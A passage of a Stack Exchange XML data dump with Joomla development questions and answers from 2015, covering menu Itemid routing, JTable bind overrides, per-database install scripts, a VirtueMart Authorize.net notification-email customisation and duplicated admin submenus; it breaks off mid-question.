  <row Id="8759" PostTypeId="2" ParentId="8755" CreationDate="2015-02-24T09:57:15.227" Score="2" Body="&lt;p&gt;I have just checked save method in profile model. There is line as follows. line no 362-363.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Null the user groups so they don't get overwritten&#xA;$user-&amp;gt;groups = null;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I commented out that line. It works fine. I don't know which area will affect after commenting out that line.&lt;/p&gt;&#xA;" OwnerUserId="1773" LastActivityDate="2015-02-24T09:57:15.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8760" PostTypeId="2" ParentId="7615" CreationDate="2015-02-24T10:37:49.957" Score="1" Body="&lt;p&gt;After a lot of effort I finally reached to those pages what contains all the transaction details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;while using Authorize.net, Transaction request is sent in Json/XML format to the authorize.net server and after processing a response is returned back in same XML/Json format. Following page works for this regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;joomlasite/administrator/components/com_virtuemart/classes/payment/ps_authorize.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in this file search &lt;strong&gt;process_payment&lt;/strong&gt; function, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;process_payment&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the main function for all payment modules that use direct connections to a payment gateway (like authorize.net or eWay XML). This is the place, where the payment details are validated and captured on success. Returns true on success, false on failure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this the what I customized according to the response from the payment gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I echoed all the response and then according to status 1,3,4 or any I created a php email script to send an email to specified email address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;temporarily echo the response from the server &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vmLogger-&amp;gt;err('result: '. $result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will show all the responses as error on after transaction. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$Message = &#xA;'**Notification:**A Transaction was attempt. Authorize.net responded &#xA;   **'.$response[3].'**. &#xA;Details are as under:&#xA;&#xA;&#xA;========= ORDER INFORMATION =========&#xA;Invoice : '.$response[36].'&#xA;Amount : '.$order_total.'&#xA;&#xA;============== RESULTS ==============&#xA;Response : '.$response[3].'&#xA;Authorization Code : '.$response[4].'&#xA;Transaction ID : '.$response[6].'&#xA;&#xA;==== CUSTOMER BILLING INFORMATION ===&#xA;First Name : '. substr($dbst-&amp;gt;f(&quot;first_name&quot;), 0, 50).'&#xA;Last Name : '. substr($dbst-&amp;gt;f(&quot;last_name&quot;), 0, 50).'&#xA;E-Mail : '.$dbbt-&amp;gt;f(&quot;user_email&quot;);&#xA;&#xA; $cc_headers = &quot;MIME-Version: 1.0&quot; . &quot;\r\n&quot;;&#xA; $cc_headers .= &quot;Content-type:text/html;charset=iso-8859-1&quot; . &quot;\r\n&quot;;&#xA; //this address will show as &quot;from&quot; in email box&#xA; $cc_headers = 'From:&amp;lt;contact@myemailaddress.com&amp;gt;'. &quot;\r\n&quot;; &#xA;&#xA; //$vendor_mail fetches virtuemart's vendor's email.&#xA; $to_email = $vendor_mail;&#xA; $cc_subject = &quot;Transaction attempt - &quot;.$response[3];&#xA; $cc_message = $Message;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now I customized the responses according to their status.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        ...&#xA;elseif ($response[0] == '2') {&#xA;....//some codes&#xA;            mail($to_email,$cc_subject,$cc_message,$cc_headers);&#xA;.....&#xA;elseif ($response[0] == '3') {&#xA;....//some codes&#xA;            mail($to_email,$cc_subject,$cc_message,$cc_headers);&#xA;.....&#xA;elseif ($response[0] == '4') {&#xA;....//some codes&#xA;            mail($to_email,$cc_subject,$cc_message,$cc_headers);&#xA;.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will send email to the vendor if response is failed, declined or any other issued but not successful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can customize response for successful payment too under &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if ($response[0] == '1') {&#xA; ............. email is successful&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope other developers may find this helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="3717" LastActivityDate="2015-02-24T10:37:49.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8761" PostTypeId="2" ParentId="8749" CreationDate="2015-02-24T13:23:03.707" Score="4" Body="&lt;p&gt;I ended up adding this to the template when https is needed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = &amp;amp;JFactory::getDocument();&#xA;$jbase_ssl = str_replace(&quot;http:&quot;, &quot;https:&quot;, $doc-&amp;gt;getBase());&#xA;$doc-&amp;gt;setBase($jbase_ssl);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-24T13:23:03.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8762" PostTypeId="2" ParentId="8750" CreationDate="2015-02-24T14:23:02.807" Score="0" Body="&lt;p&gt;This is one of the most frequent asked questions around Joomla. &#xA;This is happening because of the dynamic nature of the urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do, is to create a K2 categories menu item for each of your K2 categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go in Menus and add your menu items in one of your menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to display these menu items in a menu in front-end, you could create a &quot;hidden&quot; menu. In this case, create a new menu but don't assign any module for it.&#xA;Add in this new menu your menu items for your categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be of help:&lt;br&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Menu&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Joomla: Creating Menus&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-02-24T14:23:02.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8763" PostTypeId="2" ParentId="8757" CreationDate="2015-02-24T14:38:18.063" Score="1" Body="&lt;p&gt;1 &amp;amp; 2 are equal but they won't exist together with SEF URLs.&lt;br&gt;&#xA;Although you will still be able reach to a page using a non-SEF URL with SEF enabled, but there will be nothing on your website that will denote or use the non-sef urls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition &lt;strong&gt;Google&lt;/strong&gt; is smart enough and will index the SEF URLs of your site, even if it can reach to them using URL parameters. It's always worthing to have a Google Webmasters Account, where you can monitor how Google sees your content and many more. In there you can also instruct how Google crawler should behave with &lt;a href=&quot;https://support.google.com/webmasters/answer/6080550?hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;URL parameters&lt;/strong&gt;&lt;/a&gt; found in your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also find out more about the &lt;a href=&quot;https://support.google.com/webmasters/answer/6080548?hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Duplicate Content&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above is the common scenario, that assumes anything else is properly configured on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding 2, you need to ensure that your k2 categories and items are reachable through a menu item, in order to avoid getting urls with the word &quot;component&quot; as path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore you many want to read here about &quot;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4164/how-to-deal-with-duplicated-content-urls-in-joomla/5541#5541&quot;&gt;&lt;strong&gt;Dealing with Duplicate Content&lt;/strong&gt;&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-05-08T13:11:02.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8764" PostTypeId="1" AcceptedAnswerId="8769" CreationDate="2015-02-24T15:08:59.850" Score="3" ViewCount="1587" Body="&lt;p&gt;From the home page of v3.3.6, I have a Category View listing all the sub-categories of a given main Category.  When I click on that link from the home page, it lists those Sub-categories as expected, but the links of those subcategories (to see the articles within them) all use the Itemid of the &lt;em&gt;Home Page&lt;/em&gt;, NOT that of the currently displayed Category View page (the correct Itemid is, of course, the browser URL)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Correct&quot; links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Home Page: index.php?option=com_content&amp;amp;view=article&amp;amp;id=107&amp;amp;Itemid=&lt;strong&gt;435&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Cat. View: index.php?option=com_content&amp;amp;view=categories&amp;amp;id=80&amp;amp;Itemid=&lt;strong&gt;531&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are the &quot;incorrect&quot; links to sub-categories that are displayed on the Cat. View (they are using Itemid &lt;em&gt;435&lt;/em&gt; from home page, not 531 from the currently displayed view of the Main Category as would be expected:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Subcat1 : index.php?option=com_content&amp;amp;view=category&amp;amp;id=81&amp;amp;Itemid=&lt;strong&gt;435&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Subcat2 : index.php?option=com_content&amp;amp;view=category&amp;amp;id=82&amp;amp;Itemid=&lt;strong&gt;435&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Subcat3 : index.php?option=com_content&amp;amp;view=category&amp;amp;id=83&amp;amp;Itemid=&lt;strong&gt;435&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;SEF is not turned on, nor any multiple language settings and there are no Menu Item Aliases in play.  I've changed the main Menu Item Type to various other components &lt;em&gt;other&lt;/em&gt; than com_content to see if that would make a difference, though the article specified in the home page is Uncategorized, thus not expected to appear in any of the article lists anyways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I wrong in assuming that the list of links should be using the Itemid of the currently active page and associated ItemID (531).  This seems like such an elementary question, I feel silly asking, but there seem to be no clear answers or settings to get any other behavior.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2015-02-24T15:16:23.973" LastActivityDate="2016-11-25T15:09:04.957" Title="Why does Category View use Home Page Itemid when displaying the articles?" Tags="|menu-item|itemid|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8767" PostTypeId="2" ParentId="8709" CreationDate="2015-02-25T07:41:06.037" Score="1" Body="&lt;p&gt;If you run this controller file directly you can't get the the active menu item because the application is not rendered yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only init the application by using &lt;code&gt;$mainframe-&amp;gt;initialise();&lt;/code&gt; but to start it you need to use &lt;code&gt;$mainframe-&amp;gt;execute();&lt;/code&gt;, however running this will render the whole application and the code below this call will not be called at all. You can try this by yourself by replacing &lt;code&gt;$mainframe-&amp;gt;initialise();&lt;/code&gt; with &lt;code&gt;$mainframe-&amp;gt;execute();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this you need to put this controller inside your component, then you can get the params and the alias:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = JFactory::getApplication()-&amp;gt;getMenu();&#xA;$menuItem = $menu-&amp;gt;getActive();&#xA;$alias = $menuItem-&amp;gt;alias;&#xA;$yourParamValue = $menuItem-&amp;gt;params-&amp;gt;get('your_param_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To fix the error on line 9 you need to remove &quot;&amp;amp;&quot; symbol.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mainframe = JFactory::getApplication('site'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="135" LastActivityDate="2015-02-25T07:41:06.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8768" PostTypeId="2" ParentId="8764" CreationDate="2015-02-25T07:59:17.197" Score="1" Body="&lt;p&gt;Do you have (hidden) menuitems linked directly to these subcats as well? Because else Joomla doesn't know where to route to, other than the current Itemid. &#xA;So you will need an extra (hidden) menuitem pointing to that subcat (blog-layout).&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2015-02-25T07:59:17.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8769" PostTypeId="2" ParentId="8764" CreationDate="2015-02-25T08:37:11.353" Score="4" Body="&lt;p&gt;It considers that you have already created a menu item - your current category list menu item- which becomes an &quot;authoritative&quot; itemid for the content you are linking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible that you are going to have further similar issues with any article of your Main top category, as they might use the itemid of your home page now, instead of the category's blog menu item id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A brief conclusion I have on this  -without reviewing the code behind the mechanism - therefore not being 100% sure on this-, is that a lower id will take precedence over a higher id, when there are 2 similar type menu items that link the same content, which most likely describe your case here. &#xA;It will be interesting to make your own tests on this and see if this really seems to be the case here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all, the general conclusion is that you can have extended control over the itemids, by creating menu items for each of the content element you need to display it under specific itemid, with keeping in mind that having 2 similar content elements (like same category) linked from 2 different menu items, looks like the lower itemid will be used.&#xA;&lt;hr&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update » Do this test:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Based on the above, here is something that you could try that might be also the solution in the case you don't want to create more menu items:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a new &lt;strong&gt;menu item&lt;/strong&gt; = &lt;strong&gt;Category List&lt;/strong&gt; and set this as &lt;strong&gt;&lt;code&gt;default&lt;/code&gt;&lt;/strong&gt; (home-page) // Therefore a higher &lt;strong&gt;itemid&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Disable or make your old &lt;strong&gt;home menu item&lt;/strong&gt; the &quot;&lt;strong&gt;&lt;code&gt;Category Blog&lt;/code&gt;&lt;/strong&gt;&quot; menu item that holds the parent category.&lt;/li&gt;&#xA;&lt;li&gt;See which &lt;strong&gt;itemid&lt;/strong&gt; is used now.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-11-25T15:09:04.957" LastActivityDate="2016-11-25T15:09:04.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8770" PostTypeId="1" CreationDate="2015-02-25T09:32:59.057" Score="2" ViewCount="313" Body="&lt;p&gt;Actually I'm learning component development in which I'm creating a table class which extends JTable. &#xA;I am also overriding the __construct which is fine up to, but when I override the bind function Like Below:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function bind($src, $egnore=array()){&#xA;  parent::bind($src, $egnore=array())&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it will show &lt;strong&gt;save failed with following error&lt;/strong&gt; but if I remove this override, save/edit functions works fine.&lt;br&gt;&#xA;Why is this happening? What's wrong?  &lt;/p&gt;&#xA;" OwnerUserId="3707" LastEditorUserId="126" LastEditDate="2016-01-21T23:29:12.590" LastActivityDate="2016-01-21T23:29:12.590" Title="What if I override the bind function of Jtable.?" Tags="|joomla-3.x|joomla-2.5|joomla-3.3.x|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8771" PostTypeId="2" ParentId="8770" CreationDate="2015-02-25T10:18:02.763" Score="4" Body="&lt;p&gt;You have to return the return value of the parent's bind method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function bind($src, $egnore=array()){&#xA;    return parent::bind($src, $egnore=array());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JTable::bind returns true if everything went well, but your method does not return true so Joomla thinks something went wrong.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-02-25T10:18:02.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8772" PostTypeId="1" AcceptedAnswerId="8773" CreationDate="2015-02-25T10:39:52.300" Score="1" ViewCount="482" Body="&lt;p&gt;I am new to Joomla development, coming from Magento.&#xA;Working through the tutorials with a certain extension in mind I stumbled upon a little problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By now Joomla supports MySql and MSSQL and more might come.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Magento I am used to build Extensions with Database agnostic install scripts, since I have no influence on which database the end user will run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Joomla tutorials I only get told to use raw sql to create tables and stuff, but there are some distinction in Syntax between MySQL and MSSQL and maybe even more differences to other sql implementations which joomly might support soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my php files I can simply use the Database adapters Joomla provides in order to keep things abstract, is there a way to use .php files as install scripts instead of .sql files? Or is there another way to create install scripts which work with any database? Or is joomla actually interpreting the MySQL syntax of the .sql files itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help. &lt;/p&gt;&#xA;" OwnerUserId="2061" LastActivityDate="2015-02-25T10:51:39.443" Title="Extension install scripts without raw sql" Tags="|joomla-3.x|development|sql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8773" PostTypeId="2" ParentId="8772" CreationDate="2015-02-25T10:50:53.020" Score="3" Body="&lt;p&gt;You can define multiple database install scripts for every database driver like MySQL or MSSQL that you like to support in your installation XML file. Have a look at the example XML here in the official Joomla Docs: &#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_a_MVC_Component/Using_the_database#helloworld.xml&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Developing_a_MVC_Component/Using_the_database#helloworld.xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your XML file could look like this then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;install&amp;gt; &amp;lt;!-- Runs on install --&amp;gt;&#xA;    &amp;lt;sql&amp;gt;&#xA;        &amp;lt;file driver=&quot;mysql&quot; charset=&quot;utf8&quot;&amp;gt;sql/install.mysql.utf8.sql&amp;lt;/file&amp;gt;&#xA;        &amp;lt;file driver=&quot;mssql&quot; charset=&quot;utf8&quot;&amp;gt;sql/install.mssql.utf8.sql&amp;lt;/file&amp;gt;&#xA;    &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/install&amp;gt;&#xA;&amp;lt;uninstall&amp;gt; &amp;lt;!-- Runs on uninstall --&amp;gt;&#xA;    &amp;lt;sql&amp;gt;&#xA;        &amp;lt;file driver=&quot;mysql&quot; charset=&quot;utf8&quot;&amp;gt;sql/uninstall.mysql.utf8.sql&amp;lt;/file&amp;gt;&#xA;        &amp;lt;file driver=&quot;mssql&quot; charset=&quot;utf8&quot;&amp;gt;sql/uninstall.mssql.utf8.sql&amp;lt;/file&amp;gt;&#xA;    &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/uninstall&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-02-25T10:50:53.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8774" PostTypeId="2" ParentId="8772" CreationDate="2015-02-25T10:51:39.443" Score="2" Body="&lt;p&gt;What you can do is have a separate file for each database drive type, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;install&amp;gt;&#xA;    &amp;lt;sql&amp;gt;&#xA;        &amp;lt;file driver=&quot;mysql&quot; charset=&quot;utf8&quot;&amp;gt;path/to/sql/file&amp;lt;/file&amp;gt;&#xA;        &amp;lt;file driver=&quot;mssql&quot; charset=&quot;utf8&quot;&amp;gt;path/to/mssql/file&amp;lt;/file&amp;gt;&#xA;    &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/install&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simply define the driver type like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;driver=&quot;mysql&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-25T10:51:39.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8775" PostTypeId="1" AcceptedAnswerId="8776" CreationDate="2015-02-25T11:16:21.030" Score="6" ViewCount="181" Body="&lt;p&gt;Whenever i select a category like users/content etc from administrator area the submenus are getting displayed 6 times. Like the below picture for Users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lfils.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Debug:&lt;/em&gt;&#xA;&lt;strong&gt;Administrator template (hathor/index.php) Line 92:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;submenu&quot; style=&quot;rounded&quot; id=&quot;submenu-box&quot; /&amp;gt;&#xA;var_dump(&quot;test&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is where the &lt;code&gt;mod_submenu&lt;/code&gt; is included and the submenus are displayed.After the &lt;code&gt;var_dump&lt;/code&gt; i get only &lt;strong&gt;one&lt;/strong&gt; output (wanted to test if i were inside a loop) , so i thought that the problem would be inside the &lt;code&gt;mod_submenu&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Altough i noticed that the whole code of mod_submenu is executed inside a &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;submenu&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the output after i inspected the page is this for each line :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;submenu-box&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;m&quot;&amp;gt;&#xA;        &amp;lt;ul id=&quot;submenu&quot;&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the mod_submenu was executed 6 times i would have something like that for output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;submenu-box&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;m&quot;&amp;gt;&#xA;      &amp;lt;ul id=&quot;submenu&quot;&amp;gt;&amp;lt;/ul&amp;gt;&#xA;      &amp;lt;ul id=&quot;submenu&quot;&amp;gt;&amp;lt;/ul&amp;gt;&#xA;      &amp;lt;ul id=&quot;submenu&quot;&amp;gt;&amp;lt;/ul&amp;gt;&#xA;   etc..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the output is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div id=&quot;submenu-box&quot;&amp;gt;&#xA;       &amp;lt;div class=&quot;m&quot;&amp;gt;&#xA;          &amp;lt;ul id=&quot;submenu&quot;&amp;gt;&amp;lt;/ul&amp;gt;&#xA;       &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;submenu-box&quot;&amp;gt;&#xA;       &amp;lt;div class=&quot;m&quot;&amp;gt;&#xA;          &amp;lt;ul id=&quot;submenu&quot;&amp;gt;&amp;lt;/ul&amp;gt;&#xA;       &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;submenu-box&quot;&amp;gt;&#xA;       &amp;lt;div class=&quot;m&quot;&amp;gt;&#xA;          &amp;lt;ul id=&quot;submenu&quot;&amp;gt;&amp;lt;/ul&amp;gt;&#xA;       &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if im not mistaken &lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;submenu&quot; style=&quot;rounded&quot; id=&quot;submenu-box&quot; /&amp;gt;&lt;/code&gt; creates both &lt;code&gt;&amp;lt;div id=&quot;submenu-box&quot;&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;div class=&quot;m&quot;&amp;gt;&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After alot of debugging i came to the conclusion that the include statement and only that ( the rest code of hathor is running normally ) is executed 5 more times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of getting rid of the 5 extra divs using jquery. altough the problem is that there are 6 divs with the same id. So i tried to change the &lt;code&gt;id=&quot;submenu-box&quot;&lt;/code&gt; on include to &lt;code&gt;class=&quot;submenu-box&quot;&lt;/code&gt; . after i refreshed the page, instead of having a &lt;code&gt;&amp;lt;div class=&quot;submenu-box&quot;&amp;gt;&lt;/code&gt; i had an empty &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; . Cant i use a class with the &lt;code&gt;jdoc:include&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered something like that before ? Or anyone has any idea what could be the problem ? &#xA;I Hope i was clear enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: error_log is empty !&lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="2225" LastEditDate="2015-02-26T07:12:14.857" LastActivityDate="2015-02-26T07:12:14.857" Title="Joomla Administrator : Sub menus are getting displayed 6 times instead of one?" Tags="|joomla-2.5|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8776" PostTypeId="2" ParentId="8775" CreationDate="2015-02-25T11:34:19.907" Score="4" Body="&lt;p&gt;I had something like this in the past, and the reason was that the module had more than 1 instances in the db. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why don't you check in Module Manager -&gt; Admin Modules, to see if you have the same admin module (submenu) many times?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't see them in the module manager, consider checking also directly in the db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, what it caused that issue, was a sql - database fix statement that I run directly in the db, after updating Joomla that has db structure issues, and was not possible to fix those issues with the DB-&gt;Fix schemas structure in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I updated Joomla db schemas, I also duplicated a couple of admin modules.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-02-25T11:34:19.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8777" PostTypeId="1" CreationDate="2015-02-25T14:25:32.410" Score="2" ViewCount="1339" Body="&lt;p&gt;In my view.html.php I set UserState Variables. One of this variables is set like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;setUserState('com_mycomponent.modelname'.'.filter.status', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to get the variable in the model via populateState function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$status = $app-&amp;gt;getUserStateFromRequest($this-&amp;gt;context.'.filter.status', 'filter_status', null);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$status&lt;/code&gt; is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the layout default.php I have integrated a Joomla search tools bar with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;echo JLayoutHelper::render('joomla.searchtools.default', array('view' =&gt; $this));&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is done fine, execept I do a reload on the page, or I choose another option of the filter. To be more concret, I load the page, afterwards I select one of the filter options, I can do that one time good. If I choose another value of the same filter, or reload the page with F5, than the following error come up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: Attempt to assign property of non-object in D:\websites\etiral2015\libraries\framework\Joomla\Registry\Registry.php on line 428&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does that mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change '.filter.status' to anything else eg. &lt;code&gt;.filte.status&lt;/code&gt; or &lt;code&gt;.filterstatus&lt;/code&gt;, $status gets the right value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, why is it not possible to set UserState Variables starting with &lt;code&gt;.filter.&lt;/code&gt; , like Joomla does with &lt;code&gt;.filter.search&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I integrated the Joomla 3 SearchTools Bar in the layout, with a filter field which is located in &lt;code&gt;component-&amp;gt;models-&amp;gt;forms-&amp;gt;xxxx.xml&lt;/code&gt; and it is called &lt;code&gt;status&lt;/code&gt;. But also removing this filter field, does not help to set the 